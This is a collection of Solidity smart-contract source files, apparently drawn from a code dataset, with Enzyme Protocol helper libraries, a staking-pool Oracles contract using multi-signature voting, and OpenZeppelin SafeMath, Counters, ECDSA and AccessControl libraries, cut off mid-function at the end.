function __calcCanonicalAssetValueOrRevertInvalid(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_) {
bool isValid;
(value_, isValid) = ValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
_baseAsset,
_amount,
_quoteAsset
);
require(isValid, "__calcCanonicalAssetValueOrRevertInvalid: Invalid");
return value_;
}
/// @dev Helper to get the ComptrollerProxy for a given VaultProxy
function __getComptrollerProxyForVault(address _vaultProxy)
private
view
returns (ComptrollerLib comptrollerProxyContract_)
{
return ComptrollerLib(VaultLib(payable(_vaultProxy)).getAccessor());
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() public view returns (address feeManager_) {
return FEE_MANAGER;
}
/// @notice Gets the `VALUE_INTERPRETER` variable
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() public view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AddressArray Library
/// @author Enzyme Council <[email protected]>
/// @notice A library to extend the address array data type
library AddressArrayLib {
/// @dev Helper to add an item to an array. Does not assert uniqueness of the new item.
function addItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
nextArray_ = new address[](_self.length + 1);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
nextArray_[_self.length] = _itemToAdd;
return nextArray_;
}
/// @dev Helper to add an item to an array, only if it is not already in the array.
function addUniqueItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
if (contains(_self, _itemToAdd)) {
return _self;
}
return addItem(_self, _itemToAdd);
}
/// @dev Helper to verify if an array contains a particular value
function contains(address[] memory _self, address _target)
internal
pure
returns (bool doesContain_)
{
for (uint256 i; i < _self.length; i++) {
if (_target == _self[i]) {
return true;
}
}
return false;
}
/// @dev Helper to reassign all items in an array with a specified value
function fill(address[] memory _self, address _value)
internal
pure
returns (address[] memory nextArray_)
{
nextArray_ = new address[](_self.length);
for (uint256 i; i < nextArray_.length; i++) {
nextArray_[i] = _value;
}
return nextArray_;
}
/// @dev Helper to verify if array is a set of unique values.
/// Does not assert length > 0.
function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) {
if (_self.length <= 1) {
return true;
}
uint256 arrayLength = _self.length;
for (uint256 i; i < arrayLength; i++) {
for (uint256 j = i + 1; j < arrayLength; j++) {
if (_self[i] == _self[j]) {
return false;
}
}
}
return true;
}
/// @dev Helper to remove items from an array. Removes all matching occurrences of each item.
/// Does not assert uniqueness of either array.
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
} else if (remainingItemsCount > 0) {
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../infrastructure/price-feeds/derivatives/feeds/SynthetixPriceFeed.sol";
import "../interfaces/ISynthetixAddressResolver.sol";
import "../interfaces/ISynthetixExchanger.sol";
/// @title AssetFinalityResolver Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that helps achieve asset finality
abstract contract AssetFinalityResolver {
address internal immutable SYNTHETIX_ADDRESS_RESOLVER;
address internal immutable SYNTHETIX_PRICE_FEED;
constructor(address _synthetixPriceFeed, address _synthetixAddressResolver) public {
SYNTHETIX_ADDRESS_RESOLVER = _synthetixAddressResolver;
SYNTHETIX_PRICE_FEED = _synthetixPriceFeed;
}
/// @dev Helper to finalize a Synth balance at a given target address and return its balance
function __finalizeIfSynthAndGetAssetBalance(
address _target,
address _asset,
bool _requireFinality
) internal returns (uint256 assetBalance_) {
bytes32 currencyKey = SynthetixPriceFeed(SYNTHETIX_PRICE_FEED).getCurrencyKeyForSynth(
_asset
);
if (currencyKey != 0) {
address synthetixExchanger = ISynthetixAddressResolver(SYNTHETIX_ADDRESS_RESOLVER)
.requireAndGetAddress(
"Exchanger",
"finalizeAndGetAssetBalance: Missing Exchanger"
);
try ISynthetixExchanger(synthetixExchanger).settle(_target, currencyKey) {} catch {
require(!_requireFinality, "finalizeAndGetAssetBalance: Cannot settle Synth");
}
}
return ERC20(_asset).balanceOf(_target);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `SYNTHETIX_ADDRESS_RESOLVER` variable
/// @return synthetixAddressResolver_ The `SYNTHETIX_ADDRESS_RESOLVER` variable value
function getSynthetixAddressResolver()
external
view
returns (address synthetixAddressResolver_)
{
return SYNTHETIX_ADDRESS_RESOLVER;
}
/// @notice Gets the `SYNTHETIX_PRICE_FEED` variable
/// @return synthetixPriceFeed_ The `SYNTHETIX_PRICE_FEED` variable value
function getSynthetixPriceFeed() external view returns (address synthetixPriceFeed_) {
return SYNTHETIX_PRICE_FEED;
}
}
|
@dev Helper to run ValueInterpreter.calcCanonicalAssetValue(), reverting if a returned rate is invalid
|
function __calcCanonicalAssetValueOrRevertInvalid(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_) {
bool isValid;
(value_, isValid) = ValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
_baseAsset,
_amount,
_quoteAsset
);
require(isValid, "__calcCanonicalAssetValueOrRevertInvalid: Invalid");
return value_;
}
| 6,135,057
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// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "./presets/OwnablePausableUpgradeable.sol";
import "./interfaces/IRewardEthToken.sol";
import "./interfaces/IPool.sol";
import "./interfaces/IOracles.sol";
import "./interfaces/IMerkleDistributor.sol";
import "./interfaces/IPoolValidators.sol";
import "./interfaces/IOraclesV1.sol";
/**
* @title Oracles
*
* @dev Oracles contract stores accounts responsible for submitting or update values based on the off-chain data.
* The threshold of inputs from different oracles is required to submit the data.
*/
contract Oracles is IOracles, OwnablePausableUpgradeable {
using SafeMathUpgradeable for uint256;
using CountersUpgradeable for CountersUpgradeable.Counter;
bytes32 public constant ORACLE_ROLE = keccak256("ORACLE_ROLE");
// @dev Rewards nonce is used to protect from submitting the same rewards vote several times.
CountersUpgradeable.Counter private rewardsNonce;
// @dev Validators nonce is used to protect from submitting the same validator vote several times.
CountersUpgradeable.Counter private validatorsNonce;
// @dev Address of the RewardEthToken contract.
IRewardEthToken private rewardEthToken;
// @dev Address of the Pool contract.
IPool private pool;
// @dev Address of the Pool contract.
IPoolValidators private poolValidators;
// @dev Address of the MerkleDistributor contract.
IMerkleDistributor private merkleDistributor;
/**
* @dev Modifier for checking whether the caller is an oracle.
*/
modifier onlyOracle() {
require(hasRole(ORACLE_ROLE, msg.sender), "Oracles: access denied");
_;
}
/**
* @dev See {IOracles-initialize}.
*/
function initialize(
address admin,
address oraclesV1,
address _rewardEthToken,
address _pool,
address _poolValidators,
address _merkleDistributor
)
external override initializer
{
require(admin != address(0), "Pool: invalid admin address");
require(_rewardEthToken != address(0), "Pool: invalid RewardEthToken address");
require(_pool != address(0), "Pool: invalid Pool address");
require(_poolValidators != address(0), "Pool: invalid PoolValidators address");
require(_merkleDistributor != address(0), "Pool: invalid MerkleDistributor address");
__OwnablePausableUpgradeable_init(admin);
// migrate data from previous Oracles contract
rewardsNonce._value = IOraclesV1(oraclesV1).currentNonce().add(1000);
uint256 oraclesCount = AccessControlUpgradeable(oraclesV1).getRoleMemberCount(ORACLE_ROLE);
for (uint256 i = 0; i < oraclesCount; i++) {
address oracle = AccessControlUpgradeable(oraclesV1).getRoleMember(ORACLE_ROLE, i);
_setupRole(ORACLE_ROLE, oracle);
emit OracleAdded(oracle);
}
rewardEthToken = IRewardEthToken(_rewardEthToken);
pool = IPool(_pool);
poolValidators = IPoolValidators(_poolValidators);
merkleDistributor = IMerkleDistributor(_merkleDistributor);
emit Initialized(rewardsNonce.current());
}
/**
* @dev See {IOracles-currentRewardsNonce}.
*/
function currentRewardsNonce() external override view returns (uint256) {
return rewardsNonce.current();
}
/**
* @dev See {IOracles-currentValidatorsNonce}.
*/
function currentValidatorsNonce() external override view returns (uint256) {
return validatorsNonce.current();
}
/**
* @dev See {IOracles-isOracle}.
*/
function isOracle(address account) external override view returns (bool) {
return hasRole(ORACLE_ROLE, account);
}
/**
* @dev See {IOracles-addOracle}.
*/
function addOracle(address account) external override {
grantRole(ORACLE_ROLE, account);
emit OracleAdded(account);
}
/**
* @dev See {IOracles-removeOracle}.
*/
function removeOracle(address account) external override {
revokeRole(ORACLE_ROLE, account);
emit OracleRemoved(account);
}
/**
* @dev See {IOracles-isMerkleRootVoting}.
*/
function isMerkleRootVoting() public override view returns (bool) {
uint256 lastRewardBlockNumber = rewardEthToken.lastUpdateBlockNumber();
return merkleDistributor.lastUpdateBlockNumber() < lastRewardBlockNumber && lastRewardBlockNumber != block.number;
}
/**
* @dev Function for checking whether number of signatures is enough to update the value.
* @param signaturesCount - number of signatures.
*/
function isEnoughSignatures(uint256 signaturesCount) internal view returns (bool) {
return signaturesCount.mul(3) > getRoleMemberCount(ORACLE_ROLE).mul(2);
}
/**
* @dev See {IOracles-submitRewards}.
*/
function submitRewards(
uint256 totalRewards,
uint256 activatedValidators,
bytes[] calldata signatures
)
external override onlyOracle whenNotPaused
{
require(isEnoughSignatures(signatures.length), "Oracles: invalid number of signatures");
// calculate candidate ID hash
uint256 nonce = rewardsNonce.current();
bytes32 candidateId = ECDSAUpgradeable.toEthSignedMessageHash(
keccak256(abi.encode(nonce, activatedValidators, totalRewards))
);
// check signatures and calculate number of submitted oracle votes
address[] memory signedOracles = new address[](signatures.length);
for (uint256 i = 0; i < signatures.length; i++) {
bytes memory signature = signatures[i];
address signer = ECDSAUpgradeable.recover(candidateId, signature);
require(hasRole(ORACLE_ROLE, signer), "Oracles: invalid signer");
for (uint256 j = 0; j < i; j++) {
require(signedOracles[j] != signer, "Oracles: repeated signature");
}
signedOracles[i] = signer;
emit RewardsVoteSubmitted(msg.sender, signer, nonce, totalRewards, activatedValidators);
}
// increment nonce for future signatures
rewardsNonce.increment();
// update total rewards
rewardEthToken.updateTotalRewards(totalRewards);
// update activated validators
if (activatedValidators != pool.activatedValidators()) {
pool.setActivatedValidators(activatedValidators);
}
}
/**
* @dev See {IOracles-submitMerkleRoot}.
*/
function submitMerkleRoot(
bytes32 merkleRoot,
string calldata merkleProofs,
bytes[] calldata signatures
)
external override onlyOracle whenNotPaused
{
require(isMerkleRootVoting(), "Oracles: too early");
require(isEnoughSignatures(signatures.length), "Oracles: invalid number of signatures");
// calculate candidate ID hash
uint256 nonce = rewardsNonce.current();
bytes32 candidateId = ECDSAUpgradeable.toEthSignedMessageHash(
keccak256(abi.encode(nonce, merkleProofs, merkleRoot))
);
// check signatures and calculate number of submitted oracle votes
address[] memory signedOracles = new address[](signatures.length);
for (uint256 i = 0; i < signatures.length; i++) {
bytes memory signature = signatures[i];
address signer = ECDSAUpgradeable.recover(candidateId, signature);
require(hasRole(ORACLE_ROLE, signer), "Oracles: invalid signer");
for (uint256 j = 0; j < i; j++) {
require(signedOracles[j] != signer, "Oracles: repeated signature");
}
signedOracles[i] = signer;
emit MerkleRootVoteSubmitted(msg.sender, signer, nonce, merkleRoot, merkleProofs);
}
// increment nonce for future signatures
rewardsNonce.increment();
// update merkle root
merkleDistributor.setMerkleRoot(merkleRoot, merkleProofs);
}
/**
* @dev See {IOracles-registerValidator}.
*/
function registerValidator(
IPoolValidators.DepositData calldata depositData,
bytes32[] calldata merkleProof,
bytes32 validatorsDepositRoot,
bytes[] calldata signatures
)
external override onlyOracle whenNotPaused
{
require(
pool.validatorRegistration().get_deposit_root() == validatorsDepositRoot,
"Oracles: invalid validators deposit root"
);
require(isEnoughSignatures(signatures.length), "Oracles: invalid number of signatures");
// calculate candidate ID hash
uint256 nonce = validatorsNonce.current();
bytes32 candidateId = ECDSAUpgradeable.toEthSignedMessageHash(
keccak256(abi.encode(nonce, depositData.publicKey, depositData.operator, validatorsDepositRoot))
);
// check signatures and calculate number of submitted oracle votes
address[] memory signedOracles = new address[](signatures.length);
for (uint256 i = 0; i < signatures.length; i++) {
bytes memory signature = signatures[i];
address signer = ECDSAUpgradeable.recover(candidateId, signature);
require(hasRole(ORACLE_ROLE, signer), "Oracles: invalid signer");
for (uint256 j = 0; j < i; j++) {
require(signedOracles[j] != signer, "Oracles: repeated signature");
}
signedOracles[i] = signer;
emit RegisterValidatorVoteSubmitted(
msg.sender,
signer,
depositData.operator,
depositData.publicKey,
nonce
);
}
// increment nonce for future signatures
validatorsNonce.increment();
// register validator
poolValidators.registerValidator(depositData, merkleProof);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../math/SafeMathUpgradeable.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library CountersUpgradeable {
using SafeMathUpgradeable for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSetUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using AddressUpgradeable for address;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.5;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "../interfaces/IOwnablePausable.sol";
/**
* @title OwnablePausableUpgradeable
*
* @dev Bundles Access Control, Pausable and Upgradeable contracts in one.
*
*/
abstract contract OwnablePausableUpgradeable is IOwnablePausable, PausableUpgradeable, AccessControlUpgradeable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Modifier for checking whether the caller is an admin.
*/
modifier onlyAdmin() {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "OwnablePausable: access denied");
_;
}
/**
* @dev Modifier for checking whether the caller is a pauser.
*/
modifier onlyPauser() {
require(hasRole(PAUSER_ROLE, msg.sender), "OwnablePausable: access denied");
_;
}
// solhint-disable-next-line func-name-mixedcase
function __OwnablePausableUpgradeable_init(address _admin) internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
__Pausable_init_unchained();
__OwnablePausableUpgradeable_init_unchained(_admin);
}
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `PAUSER_ROLE` to the admin account.
*/
// solhint-disable-next-line func-name-mixedcase
function __OwnablePausableUpgradeable_init_unchained(address _admin) internal initializer {
